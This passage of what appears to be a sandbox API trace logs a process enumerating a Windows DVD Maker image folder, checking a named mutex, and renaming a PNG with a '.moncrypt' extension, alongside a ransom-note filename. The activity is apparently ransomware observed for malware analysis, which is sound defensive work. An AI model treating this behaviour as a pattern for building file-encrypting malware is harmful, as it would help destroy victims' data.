cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.521] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png", cchWideChar=85, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png", lpUsedDefaultChar=0x0) returned 85 [0058.521] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.522] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\SpecialOccasion\\specialmainsubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.522] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.522] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.522] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.522] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png", dwFileAttributes=0x20) returned 0 [0058.522] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.523] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png.moncrypt")) returned 0 [0058.523] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.523] GlobalLock (hMem=0x440004) returned 0x550170 [0058.523] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.523] GlobalUnlock (hMem=0x440004) returned 0 [0058.523] GlobalLock (hMem=0x440004) returned 0x550170 [0058.523] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.523] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.523] GlobalUnlock (hMem=0x440004) returned 0 [0058.523] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.523] GlobalUnlock (hMem=0x44000c) returned 0 [0058.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x440dfb60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x440dfb60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.523] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.523] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.523] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.523] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.523] GlobalUnlock (hMem=0x44000c) returned 0 [0058.524] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.524] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.524] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.524] GlobalUnlock (hMem=0x44000c) returned 0 [0058.524] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.524] GlobalUnlock (hMem=0x440004) returned 0 [0058.524] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.524] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x440dfb60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x440dfb60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.524] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.524] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.524] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.524] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.524] GlobalUnlock (hMem=0x440004) returned 0 [0058.524] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.524] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.524] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.524] GlobalUnlock (hMem=0x440004) returned 0 [0058.524] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.524] GlobalUnlock (hMem=0x44000c) returned 0 [0058.524] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.524] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f446eef, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f446eef, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.524] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.524] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.524] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.524] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.524] GlobalUnlock (hMem=0x44000c) returned 0 [0058.525] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.525] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.525] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.525] GlobalUnlock (hMem=0x44000c) returned 0 [0058.525] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.525] GlobalUnlock (hMem=0x440004) returned 0 [0058.525] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.525] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4df463, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4df463, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xca59, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainscroll.png", cAlternateFileName="")) returned 1 [0058.525] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.525] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.525] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.525] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.525] GlobalUnlock (hMem=0x440004) returned 0 [0058.525] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.525] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.525] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.525] GlobalUnlock (hMem=0x440004) returned 0 [0058.525] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.525] GlobalUnlock (hMem=0x44000c) returned 0 [0058.525] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.525] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5e9dee, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5e9dee, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc22bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.525] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.525] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.525] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.525] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.525] GlobalUnlock (hMem=0x44000c) returned 0 [0058.525] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.525] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.526] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.526] GlobalUnlock (hMem=0x44000c) returned 0 [0058.526] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.526] GlobalUnlock (hMem=0x440004) returned 0 [0058.526] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.526] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fc95011, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.526] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.526] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.526] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.526] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.526] GlobalUnlock (hMem=0x440004) returned 0 [0058.526] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.526] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.526] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.526] GlobalUnlock (hMem=0x440004) returned 0 [0058.526] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.526] GlobalUnlock (hMem=0x44000c) returned 0 [0058.526] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.526] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.526] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.526] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.526] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.526] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.526] GlobalUnlock (hMem=0x44000c) returned 0 [0058.526] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.526] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.526] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.526] GlobalUnlock (hMem=0x44000c) returned 0 [0058.527] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.527] GlobalUnlock (hMem=0x440004) returned 0 [0058.527] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.527] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.527] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.527] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.527] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.527] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.527] GlobalUnlock (hMem=0x440004) returned 0 [0058.527] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.527] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.527] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.527] GlobalUnlock (hMem=0x440004) returned 0 [0058.527] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.527] GlobalUnlock (hMem=0x44000c) returned 0 [0058.527] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.527] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.527] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.527] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.527] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.527] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.527] GlobalUnlock (hMem=0x44000c) returned 0 [0058.527] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.527] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.527] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.527] GlobalUnlock (hMem=0x44000c) returned 0 [0058.527] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.527] GlobalUnlock (hMem=0x440004) returned 0 [0058.528] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.528] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.528] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.528] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.528] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.528] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.528] GlobalUnlock (hMem=0x440004) returned 0 [0058.528] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.528] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.528] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.528] GlobalUnlock (hMem=0x440004) returned 0 [0058.528] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.528] GlobalUnlock (hMem=0x44000c) returned 0 [0058.528] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.528] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f52b71d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f52b71d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0058.528] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.528] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.528] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.528] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.528] GlobalUnlock (hMem=0x44000c) returned 0 [0058.528] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.528] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.528] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.528] GlobalUnlock (hMem=0x44000c) returned 0 [0058.528] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.528] GlobalUnlock (hMem=0x440004) returned 0 [0058.528] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.529] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0058.529] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.529] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.529] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.529] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.529] GlobalUnlock (hMem=0x440004) returned 0 [0058.529] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.529] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.529] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.529] GlobalUnlock (hMem=0x440004) returned 0 [0058.529] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.529] GlobalUnlock (hMem=0x44000c) returned 0 [0058.529] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.529] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.529] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.529] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, 